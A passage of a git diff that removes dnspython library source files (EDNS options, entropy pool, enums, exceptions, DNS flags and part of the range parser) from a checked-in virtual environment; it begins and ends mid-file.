SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""EDNS Options""" - -import binascii -import math -import socket -import struct -from typing import Any, Dict - -import dns.enum -import dns.inet -import dns.ipv4 -import dns.ipv6 -import dns.name -import dns.rdata -import dns.wire - - -class OptionType(dns.enum.IntEnum): - """EDNS option type codes""" - - #: NSID - NSID = 3 - #: DAU - DAU = 5 - #: DHU - DHU = 6 - #: N3U - N3U = 7 - #: ECS (client-subnet) - ECS = 8 - #: EXPIRE - EXPIRE = 9 - #: COOKIE - COOKIE = 10 - #: KEEPALIVE - KEEPALIVE = 11 - #: PADDING - PADDING = 12 - #: CHAIN - CHAIN = 13 - #: EDE (extended-dns-error) - EDE = 15 - #: REPORTCHANNEL - REPORTCHANNEL = 18 - - @classmethod - def _maximum(cls): - return 65535 - - -class Option: - """Base class for all EDNS option types.""" - - def __init__(self, otype: OptionType | str): - """Initialize an option. - - *otype*, a ``dns.edns.OptionType``, is the option type. - """ - self.otype = OptionType.make(otype) - - def to_wire(self, file: Any | None = None) -> bytes | None: - """Convert an option to wire format. - - Returns a ``bytes`` or ``None``. - - """ - raise NotImplementedError # pragma: no cover - - def to_text(self) -> str: - raise NotImplementedError # pragma: no cover - - def to_generic(self) -> "GenericOption": - """Creates a dns.edns.GenericOption equivalent of this rdata. - - Returns a ``dns.edns.GenericOption``. - """ - wire = self.to_wire() - assert wire is not None # for mypy - return GenericOption(self.otype, wire) - - @classmethod - def from_wire_parser(cls, otype: OptionType, parser: "dns.wire.Parser") -> "Option": - """Build an EDNS option object from wire format. - - *otype*, a ``dns.edns.OptionType``, is the option type. - - *parser*, a ``dns.wire.Parser``, the parser, which should be - restructed to the option length. - - Returns a ``dns.edns.Option``. - """ - raise NotImplementedError # pragma: no cover - - def _cmp(self, other): - """Compare an EDNS option with another option of the same type. - - Returns < 0 if < *other*, 0 if == *other*, and > 0 if > *other*. - """ - wire = self.to_wire() - owire = other.to_wire() - if wire == owire: - return 0 - if wire > owire: - return 1 - return -1 - - def __eq__(self, other): - if not isinstance(other, Option): - return False - if self.otype != other.otype: - return False - return self._cmp(other) == 0 - - def __ne__(self, other): - if not isinstance(other, Option): - return True - if self.otype != other.otype: - return True - return self._cmp(other) != 0 - - def __lt__(self, other): - if not isinstance(other, Option) or self.otype != other.otype: - return NotImplemented - return self._cmp(other) < 0 - - def __le__(self, other): - if not isinstance(other, Option) or self.otype != other.otype: - return NotImplemented - return self._cmp(other) <= 0 - - def __ge__(self, other): - if not isinstance(other, Option) or self.otype != other.otype: - return NotImplemented - return self._cmp(other) >= 0 - - def __gt__(self, other): - if not isinstance(other, Option) or self.otype != other.otype: - return NotImplemented - return self._cmp(other) > 0 - - def __str__(self): - return self.to_text() - - -class GenericOption(Option): # lgtm[py/missing-equals] - """Generic Option Class - - This class is used for EDNS option types for which we have no better - implementation. - """ - - def __init__(self, otype: OptionType | str, data: bytes | str): - super().__init__(otype) - self.data = dns.rdata.Rdata._as_bytes(data, True) - - def to_wire(self, file: Any | None = None) -> bytes | None: - if file: - file.write(self.data) - return None - else: - return self.data - - def to_text(self) -> str: - return f"Generic {self.otype}" - - def to_generic(self) -> "GenericOption": - return self - - @classmethod - def from_wire_parser( - cls, otype: OptionType | str, parser: "dns.wire.Parser" - ) -> Option: - return cls(otype, parser.get_remaining()) - - -class ECSOption(Option): # lgtm[py/missing-equals] - """EDNS Client Subnet (ECS, RFC7871)""" - - def __init__(self, address: str, srclen: int | None = None, scopelen: int = 0): - """*address*, a ``str``, is the client address information. - - *srclen*, an ``int``, the source prefix length, which is the - leftmost number of bits of the address to be used for the - lookup. The default is 24 for IPv4 and 56 for IPv6. - - *scopelen*, an ``int``, the scope prefix length. This value - must be 0 in queries, and should be set in responses. - """ - - super().__init__(OptionType.ECS) - af = dns.inet.af_for_address(address) - - if af == socket.AF_INET6: - self.family = 2 - if srclen is None: - srclen = 56 - address = dns.rdata.Rdata._as_ipv6_address(address) - srclen = dns.rdata.Rdata._as_int(srclen, 0, 128) - scopelen = dns.rdata.Rdata._as_int(scopelen, 0, 128) - elif af == socket.AF_INET: - self.family = 1 - if srclen is None: - srclen = 24 - address = dns.rdata.Rdata._as_ipv4_address(address) - srclen = dns.rdata.Rdata._as_int(srclen, 0, 32) - scopelen = dns.rdata.Rdata._as_int(scopelen, 0, 32) - else: # pragma: no cover (this will never happen) - raise ValueError("Bad address family") - - assert srclen is not None - self.address = address - self.srclen = srclen - self.scopelen = scopelen - - addrdata = dns.inet.inet_pton(af, address) - nbytes = int(math.ceil(srclen / 8.0)) - - # Truncate to srclen and pad to the end of the last octet needed - # See RFC section 6 - self.addrdata = addrdata[:nbytes] - nbits = srclen % 8 - if nbits != 0: - last = struct.pack("B", ord(self.addrdata[-1:]) & (0xFF << (8 - nbits))) - self.addrdata = self.addrdata[:-1] + last - - def to_text(self) -> str: - return f"ECS {self.address}/{self.srclen} scope/{self.scopelen}" - - @staticmethod - def from_text(text: str) -> Option: - """Convert a string into a `dns.edns.ECSOption` - - *text*, a `str`, the text form of the option. - - Returns a `dns.edns.ECSOption`. - - Examples: - - >>> import dns.edns - >>> - >>> # basic example - >>> dns.edns.ECSOption.from_text('1.2.3.4/24') - >>> - >>> # also understands scope - >>> dns.edns.ECSOption.from_text('1.2.3.4/24/32') - >>> - >>> # IPv6 - >>> dns.edns.ECSOption.from_text('2001:4b98::1/64/64') - >>> - >>> # it understands results from `dns.edns.ECSOption.to_text()` - >>> dns.edns.ECSOption.from_text('ECS 1.2.3.4/24/32') - """ - optional_prefix = "ECS" - tokens = text.split() - ecs_text = None - if len(tokens) == 1: - ecs_text = tokens[0] - elif len(tokens) == 2: - if tokens[0] != optional_prefix: - raise ValueError(f'could not parse ECS from "{text}"') - ecs_text = tokens[1] - else: - raise ValueError(f'could not parse ECS from "{text}"') - n_slashes = ecs_text.count("/") - if n_slashes == 1: - address, tsrclen = ecs_text.split("/") - tscope = "0" - elif n_slashes == 2: - address, tsrclen, tscope = ecs_text.split("/") - else: - raise ValueError(f'could not parse ECS from "{text}"') - try: - scope = int(tscope) - except ValueError: - raise ValueError("invalid scope " + f'"{tscope}": scope must be an integer') - try: - srclen = int(tsrclen) - except ValueError: - raise ValueError( - "invalid srclen " + f'"{tsrclen}": srclen must be an integer' - ) - return ECSOption(address, srclen, scope) - - def to_wire(self, file: Any | None = None) -> bytes | None: - value = ( - struct.pack("!HBB", self.family, self.srclen, self.scopelen) + self.addrdata - ) - if file: - file.write(value) - return None - else: - return value - - @classmethod - def from_wire_parser( - cls, otype: OptionType | str, parser: "dns.wire.Parser" - ) -> Option: - family, src, scope = parser.get_struct("!HBB") - addrlen = int(math.ceil(src / 8.0)) - prefix = parser.get_bytes(addrlen) - if family == 1: - pad = 4 - addrlen - addr = dns.ipv4.inet_ntoa(prefix + b"\x00" * pad) - elif family == 2: - pad = 16 - addrlen - addr = dns.ipv6.inet_ntoa(prefix + b"\x00" * pad) - else: - raise ValueError("unsupported family") - - return cls(addr, src, scope) - - -class EDECode(dns.enum.IntEnum): - """Extended DNS Error (EDE) codes""" - - OTHER = 0 - UNSUPPORTED_DNSKEY_ALGORITHM = 1 - UNSUPPORTED_DS_DIGEST_TYPE = 2 - STALE_ANSWER = 3 - FORGED_ANSWER = 4 - DNSSEC_INDETERMINATE = 5 - DNSSEC_BOGUS = 6 - SIGNATURE_EXPIRED = 7 - SIGNATURE_NOT_YET_VALID = 8 - DNSKEY_MISSING = 9 - RRSIGS_MISSING = 10 - NO_ZONE_KEY_BIT_SET = 11 - NSEC_MISSING = 12 - CACHED_ERROR = 13 - NOT_READY = 14 - BLOCKED = 15 - CENSORED = 16 - FILTERED = 17 - PROHIBITED = 18 - STALE_NXDOMAIN_ANSWER = 19 - NOT_AUTHORITATIVE = 20 - NOT_SUPPORTED = 21 - NO_REACHABLE_AUTHORITY = 22 - NETWORK_ERROR = 23 - INVALID_DATA = 24 - - @classmethod - def _maximum(cls): - return 65535 - - -class EDEOption(Option): # lgtm[py/missing-equals] - """Extended DNS Error (EDE, RFC8914)""" - - _preserve_case = {"DNSKEY", "DS", "DNSSEC", "RRSIGs", "NSEC", "NXDOMAIN"} - - def __init__(self, code: EDECode | str, text: str | None = None): - """*code*, a ``dns.edns.EDECode`` or ``str``, the info code of the - extended error. - - *text*, a ``str`` or ``None``, specifying additional information about - the error. - """ - - super().__init__(OptionType.EDE) - - self.code = EDECode.make(code) - if text is not None and not isinstance(text, str): - raise ValueError("text must be string or None") - self.text = text - - def to_text(self) -> str: - output = f"EDE {self.code}" - if self.code in EDECode: - desc = EDECode.to_text(self.code) - desc = " ".join( - word if word in self._preserve_case else word.title() - for word in desc.split("_") - ) - output += f" ({desc})" - if self.text is not None: - output += f": {self.text}" - return output - - def to_wire(self, file: Any | None = None) -> bytes | None: - value = struct.pack("!H", self.code) - if self.text is not None: - value += self.text.encode("utf8") - - if file: - file.write(value) - return None - else: - return value - - @classmethod - def from_wire_parser( - cls, otype: OptionType | str, parser: "dns.wire.Parser" - ) -> Option: - code = EDECode.make(parser.get_uint16()) - text = parser.get_remaining() - - if text: - if text[-1] == 0: # text MAY be null-terminated - text = text[:-1] - btext = text.decode("utf8") - else: - btext = None - - return cls(code, btext) - - -class NSIDOption(Option): - def __init__(self, nsid: bytes): - super().__init__(OptionType.NSID) - self.nsid = nsid - - def to_wire(self, file: Any = None) -> bytes | None: - if file: - file.write(self.nsid) - return None - else: - return self.nsid - - def to_text(self) -> str: - if all(c >= 0x20 and c <= 0x7E for c in self.nsid): - # All ASCII printable, so it's probably a string. - value = self.nsid.decode() - else: - value = binascii.hexlify(self.nsid).decode() - return f"NSID {value}" - - @classmethod - def from_wire_parser( - cls, otype: OptionType | str, parser: dns.wire.Parser - ) -> Option: - return cls(parser.get_remaining()) - - -class CookieOption(Option): - def __init__(self, client: bytes, server: bytes): - super().__init__(OptionType.COOKIE) - self.client = client - self.server = server - if len(client) != 8: - raise ValueError("client cookie must be 8 bytes") - if len(server) != 0 and (len(server) < 8 or len(server) > 32): - raise ValueError("server cookie must be empty or between 8 and 32 bytes") - - def to_wire(self, file: Any = None) -> bytes | None: - if file: - file.write(self.client) - if len(self.server) > 0: - file.write(self.server) - return None - else: - return self.client + self.server - - def to_text(self) -> str: - client = binascii.hexlify(self.client).decode() - if len(self.server) > 0: - server = binascii.hexlify(self.server).decode() - else: - server = "" - return f"COOKIE {client}{server}" - - @classmethod - def from_wire_parser( - cls, otype: OptionType | str, parser: dns.wire.Parser - ) -> Option: - return cls(parser.get_bytes(8), parser.get_remaining()) - - -class ReportChannelOption(Option): - # RFC 9567 - def __init__(self, agent_domain: dns.name.Name): - super().__init__(OptionType.REPORTCHANNEL) - self.agent_domain = agent_domain - - def to_wire(self, file: Any = None) -> bytes | None: - return self.agent_domain.to_wire(file) - - def to_text(self) -> str: - return "REPORTCHANNEL " + self.agent_domain.to_text() - - @classmethod - def from_wire_parser( - cls, otype: OptionType | str, parser: dns.wire.Parser - ) -> Option: - return cls(parser.get_name()) - - -_type_to_class: Dict[OptionType, Any] = { - OptionType.ECS: ECSOption, - OptionType.EDE: EDEOption, - OptionType.NSID: NSIDOption, - OptionType.COOKIE: CookieOption, - OptionType.REPORTCHANNEL: ReportChannelOption, -} - - -def get_option_class(otype: OptionType) -> Any: - """Return the class for the specified option type. - - The GenericOption class is used if a more specific class is not - known. - """ - - cls = _type_to_class.get(otype) - if cls is None: - cls = GenericOption - return cls - - -def option_from_wire_parser( - otype: OptionType | str, parser: "dns.wire.Parser" -) -> Option: - """Build an EDNS option object from wire format. - - *otype*, an ``int``, is the option type. - - *parser*, a ``dns.wire.Parser``, the parser, which should be - restricted to the option length. - - Returns an instance of a subclass of ``dns.edns.Option``. - """ - otype = OptionType.make(otype) - cls = get_option_class(otype) - return cls.from_wire_parser(otype, parser) - - -def option_from_wire( - otype: OptionType | str, wire: bytes, current: int, olen: int -) -> Option: - """Build an EDNS option object from wire format. - - *otype*, an ``int``, is the option type. - - *wire*, a ``bytes``, is the wire-format message. - - *current*, an ``int``, is the offset in *wire* of the beginning - of the rdata. - - *olen*, an ``int``, is the length of the wire-format option data - - Returns an instance of a subclass of ``dns.edns.Option``. - """ - parser = dns.wire.Parser(wire, current) - with parser.restrict_to(olen): - return option_from_wire_parser(otype, parser) - - -def register_type(implementation: Any, otype: OptionType) -> None: - """Register the implementation of an option type. - - *implementation*, a ``class``, is a subclass of ``dns.edns.Option``. - - *otype*, an ``int``, is the option type. - """ - - _type_to_class[otype] = implementation - - -### BEGIN generated OptionType constants - -NSID = OptionType.NSID -DAU = OptionType.DAU -DHU = OptionType.DHU -N3U = OptionType.N3U -ECS = OptionType.ECS -EXPIRE = OptionType.EXPIRE -COOKIE = OptionType.COOKIE -KEEPALIVE = OptionType.KEEPALIVE -PADDING = OptionType.PADDING -CHAIN = OptionType.CHAIN -EDE = OptionType.EDE -REPORTCHANNEL = OptionType.REPORTCHANNEL - -### END generated OptionType constants diff --git a/venv/Lib/site-packages/dns/entropy.py b/venv/Lib/site-packages/dns/entropy.py deleted file mode 100644 index 643092620b18a37bf6e5d0c23773c6a805165120..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/entropy.py +++ /dev/null @@ -1,130 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2009-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import hashlib -import os -import random -import threading -import time -from typing import Any - - -class EntropyPool: - # This is an entropy pool for Python implementations that do not - # have a working SystemRandom. I'm not sure there are any, but - # leaving this code doesn't hurt anything as the library code - # is used if present. - - def __init__(self, seed: bytes | None = None): - self.pool_index = 0 - self.digest: bytearray | None = None - self.next_byte = 0 - self.lock = threading.Lock() - self.hash = hashlib.sha1() - self.hash_len = 20 - self.pool = bytearray(b"\0" * self.hash_len) - if seed is not None: - self._stir(seed) - self.seeded = True - self.seed_pid = os.getpid() - else: - self.seeded = False - self.seed_pid = 0 - - def _stir(self, entropy: bytes | bytearray) -> None: - for c in entropy: - if self.pool_index == self.hash_len: - self.pool_index = 0 - b = c & 0xFF - self.pool[self.pool_index] ^= b - self.pool_index += 1 - - def stir(self, entropy: bytes | bytearray) -> None: - with self.lock: - self._stir(entropy) - - def _maybe_seed(self) -> None: - if not self.seeded or self.seed_pid != os.getpid(): - try: - seed = os.urandom(16) - except Exception: # pragma: no cover - try: - with open("/dev/urandom", "rb", 0) as r: - seed = r.read(16) - except Exception: - seed = str(time.time()).encode() - self.seeded = True - self.seed_pid = os.getpid() - self.digest = None - seed = bytearray(seed) - self._stir(seed) - - def random_8(self) -> int: - with self.lock: - self._maybe_seed() - if self.digest is None or self.next_byte == self.hash_len: - self.hash.update(bytes(self.pool)) - self.digest = bytearray(self.hash.digest()) - self._stir(self.digest) - self.next_byte = 0 - value = self.digest[self.next_byte] - self.next_byte += 1 - return value - - def random_16(self) -> int: - return self.random_8() * 256 + self.random_8() - - def random_32(self) -> int: - return self.random_16() * 65536 + self.random_16() - - def random_between(self, first: int, last: int) -> int: - size = last - first + 1 - if size > 4294967296: - raise ValueError("too big") - if size > 65536: - rand = self.random_32 - max = 4294967295 - elif size > 256: - rand = self.random_16 - max = 65535 - else: - rand = self.random_8 - max = 255 - return first + size * rand() // (max + 1) - - -pool = EntropyPool() - -system_random: Any | None -try: - system_random = random.SystemRandom() -except Exception: # pragma: no cover - system_random = None - - -def random_16() -> int: - if system_random is not None: - return system_random.randrange(0, 65536) - else: - return pool.random_16() - - -def between(first: int, last: int) -> int: - if system_random is not None: - return system_random.randrange(first, last + 1) - else: - return pool.random_between(first, last) diff --git a/venv/Lib/site-packages/dns/enum.py b/venv/Lib/site-packages/dns/enum.py deleted file mode 100644 index 822c9958fc48c00fe6314f2f6d24e3261b5d6732..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/enum.py +++ /dev/null @@ -1,113 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import enum -from typing import Any, Type, TypeVar - -TIntEnum = TypeVar("TIntEnum", bound="IntEnum") - - -class IntEnum(enum.IntEnum): - @classmethod - def _missing_(cls, value): - cls._check_value(value) - val = int.__new__(cls, value) # pyright: ignore - val._name_ = cls._extra_to_text(value, None) or f"{cls._prefix()}{value}" - val._value_ = value # pyright: ignore - return val - - @classmethod - def _check_value(cls, value): - max = cls._maximum() - if not isinstance(value, int): - raise TypeError - if value < 0 or value > max: - name = cls._short_name() - raise ValueError(f"{name} must be an int between >= 0 and <= {max}") - - @classmethod - def from_text(cls: Type[TIntEnum], text: str) -> TIntEnum: - text = text.upper() - try: - return cls[text] - except KeyError: - pass - value = cls._extra_from_text(text) - if value: - return value - prefix = cls._prefix() - if text.startswith(prefix) and text[len(prefix) :].isdigit(): - value = int(text[len(prefix) :]) - cls._check_value(value) - return cls(value) - raise cls._unknown_exception_class() - - @classmethod - def to_text(cls: Type[TIntEnum], value: int) -> str: - cls._check_value(value) - try: - text = cls(value).name - except ValueError: - text = None - text = cls._extra_to_text(value, text) - if text is None: - text = f"{cls._prefix()}{value}" - return text - - @classmethod - def make(cls: Type[TIntEnum], value: int | str) -> TIntEnum: - """Convert text or a value into an enumerated type, if possible. - - *value*, the ``int`` or ``str`` to convert. - - Raises a class-specific exception if a ``str`` is provided that - cannot be converted. - - Raises ``ValueError`` if the value is out of range. - - Returns an enumeration from the calling class corresponding to the - value, if one is defined, or an ``int`` otherwise. - """ - - if isinstance(value, str): - return cls.from_text(value) - cls._check_value(value) - return cls(value) - - @classmethod - def _maximum(cls): - raise NotImplementedError # pragma: no cover - - @classmethod - def _short_name(cls): - return cls.__name__.lower() - - @classmethod - def _prefix(cls) -> str: - return "" - - @classmethod - def _extra_from_text(cls, text: str) -> Any | None: # pylint: disable=W0613 - return None - - @classmethod - def _extra_to_text(cls, value, current_text): # pylint: disable=W0613 - return current_text - - @classmethod - def _unknown_exception_class(cls) -> Type[Exception]: - return ValueError diff --git a/venv/Lib/site-packages/dns/exception.py b/venv/Lib/site-packages/dns/exception.py deleted file mode 100644 index c3d42ffd3ca72f2af9b1958daccba18f2aff1806..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/exception.py +++ /dev/null @@ -1,169 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""Common DNS Exceptions. - -Dnspython modules may also define their own exceptions, which will -always be subclasses of ``DNSException``. -""" - - -from typing import Set - - -class DNSException(Exception): - """Abstract base class shared by all dnspython exceptions. - - It supports two basic modes of operation: - - a) Old/compatible mode is used if ``__init__`` was called with - empty *kwargs*. In compatible mode all *args* are passed - to the standard Python Exception class as before and all *args* are - printed by the standard ``__str__`` implementation. Class variable - ``msg`` (or doc string if ``msg`` is ``None``) is returned from ``str()`` - if *args* is empty. - - b) New/parametrized mode is used if ``__init__`` was called with - non-empty *kwargs*. - In the new mode *args* must be empty and all kwargs must match - those set in class variable ``supp_kwargs``. All kwargs are stored inside - ``self.kwargs`` and used in a new ``__str__`` implementation to construct - a formatted message based on the ``fmt`` class variable, a ``string``. - - In the simplest case it is enough to override the ``supp_kwargs`` - and ``fmt`` class variables to get nice parametrized messages. - """ - - msg: str | None = None # non-parametrized message - supp_kwargs: Set[str] = set() # accepted parameters for _fmt_kwargs (sanity check) - fmt: str | None = None # message parametrized with results from _fmt_kwargs - - def __init__(self, *args, **kwargs): - self._check_params(*args, **kwargs) - if kwargs: - # This call to a virtual method from __init__ is ok in our usage - self.kwargs = self._check_kwargs(**kwargs) # lgtm[py/init-calls-subclass] - self.msg = str(self) - else: - self.kwargs = dict() # defined but empty for old mode exceptions - if self.msg is None: - # doc string is better implicit message than empty string - self.msg = self.__doc__ - if args: - super().__init__(*args) - else: - super().__init__(self.msg) - - def _check_params(self, *args, **kwargs): - """Old exceptions supported only args and not kwargs. - - For sanity we do not allow to mix old and new behavior.""" - if args or kwargs: - assert bool(args) != bool( - kwargs - ), "keyword arguments are mutually exclusive with positional args" - - def _check_kwargs(self, **kwargs): - if kwargs: - assert ( - set(kwargs.keys()) == self.supp_kwargs - ), f"following set of keyword args is required: {self.supp_kwargs}" - return kwargs - - def _fmt_kwargs(self, **kwargs): - """Format kwargs before printing them. - - Resulting dictionary has to have keys necessary for str.format call - on fmt class variable. - """ - fmtargs = {} - for kw, data in kwargs.items(): - if isinstance(data, list | set): - # convert list of to list of str() - fmtargs[kw] = list(map(str, data)) - if len(fmtargs[kw]) == 1: - # remove list brackets [] from single-item lists - fmtargs[kw] = fmtargs[kw].pop() - else: - fmtargs[kw] = data - return fmtargs - - def __str__(self): - if self.kwargs and self.fmt: - # provide custom message constructed from keyword arguments - fmtargs = self._fmt_kwargs(**self.kwargs) - return self.fmt.format(**fmtargs) - else: - # print *args directly in the same way as old DNSException - return super().__str__() - - -class FormError(DNSException): - """DNS message is malformed.""" - - -class SyntaxError(DNSException): - """Text input is malformed.""" - - -class UnexpectedEnd(SyntaxError): - """Text input ended unexpectedly.""" - - -class TooBig(DNSException): - """The DNS message is too big.""" - - -class Timeout(DNSException): - """The DNS operation timed out.""" - - supp_kwargs = {"timeout"} - fmt = "The DNS operation timed out after {timeout:.3f} seconds" - - # We do this as otherwise mypy complains about unexpected keyword argument - # idna_exception - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - - -class UnsupportedAlgorithm(DNSException): - """The DNSSEC algorithm is not supported.""" - - -class AlgorithmKeyMismatch(UnsupportedAlgorithm): - """The DNSSEC algorithm is not supported for the given key type.""" - - -class ValidationFailure(DNSException): - """The DNSSEC signature is invalid.""" - - -class DeniedByPolicy(DNSException): - """Denied by DNSSEC policy.""" - - -class ExceptionWrapper: - def __init__(self, exception_class): - self.exception_class = exception_class - - def __enter__(self): - return self - - def __exit__(self, exc_type, exc_val, exc_tb): - if exc_type is not None and not isinstance(exc_val, self.exception_class): - raise self.exception_class(str(exc_val)) from exc_val - return False diff --git a/venv/Lib/site-packages/dns/flags.py b/venv/Lib/site-packages/dns/flags.py deleted file mode 100644 index 4c60be1330b789a9a727fd943a59b44c9b8b8107..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/flags.py +++ /dev/null @@ -1,123 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2001-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""DNS Message Flags.""" - -import enum -from typing import Any - -# Standard DNS flags - - -class Flag(enum.IntFlag): - #: Query Response - QR = 0x8000 - #: Authoritative Answer - AA = 0x0400 - #: Truncated Response - TC = 0x0200 - #: Recursion Desired - RD = 0x0100 - #: Recursion Available - RA = 0x0080 - #: Authentic Data - AD = 0x0020 - #: Checking Disabled - CD = 0x0010 - - -# EDNS flags - - -class EDNSFlag(enum.IntFlag): - #: DNSSEC answer OK - DO = 0x8000 - - -def _from_text(text: str, enum_class: Any) -> int: - flags = 0 - tokens = text.split() - for t in tokens: - flags |= enum_class[t.upper()] - return flags - - -def _to_text(flags: int, enum_class: Any) -> str: - text_flags = [] - for k, v in enum_class.__members__.items(): - if flags & v != 0: - text_flags.append(k) - return " ".join(text_flags) - - -def from_text(text: str) -> int: - """Convert a space-separated list of flag text values into a flags - value. - - Returns an ``int`` - """ - - return _from_text(text, Flag) - - -def to_text(flags: int) -> str: - """Convert a flags value into a space-separated list of flag text - values. - - Returns a ``str``. - """ - - return _to_text(flags, Flag) - - -def edns_from_text(text: str) -> int: - """Convert a space-separated list of EDNS flag text values into a EDNS - flags value. - - Returns an ``int`` - """ - - return _from_text(text, EDNSFlag) - - -def edns_to_text(flags: int) -> str: - """Convert an EDNS flags value into a space-separated list of EDNS flag - text values. - - Returns a ``str``. - """ - - return _to_text(flags, EDNSFlag) - - -### BEGIN generated Flag constants - -QR = Flag.QR -AA = Flag.AA -TC = Flag.TC -RD = Flag.RD -RA = Flag.RA -AD = Flag.AD -CD = Flag.CD - -### END generated Flag constants - -### BEGIN generated EDNSFlag constants - -DO = EDNSFlag.DO - -### END generated EDNSFlag constants diff --git a/venv/Lib/site-packages/dns/grange.py b/venv/Lib/site-packages/dns/grange.py deleted file mode 100644 index 8d366dc8d6fa53a8cb5f5deac78d1ac56390c69a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/grange.py +++ /dev/null @@ -1,72 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2012-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""DNS GENERATE range conversion.""" - -from typing import Tuple - -import dns.exception - - -def from_text(text: str) -> Tuple[int, int, int]: - """Convert the text form of a range in a ``$GENERATE`` statement to an - integer. - - *text*, a ``str``, the textual range in ``$GENERATE`` form. - - Returns a tuple of three ``int`` values ``(start, stop, step)``. - """ - - start = -1 - stop = -1 - step = 1 - cur = "" - state = 0 - # state 0 1 2 - # x - y / z - - if text and text[0] == "-": - raise dns.exception.SyntaxError("Start cannot be a negative number") - - for c in text: - if c == "-" and state == 0: - start = int(cur) - 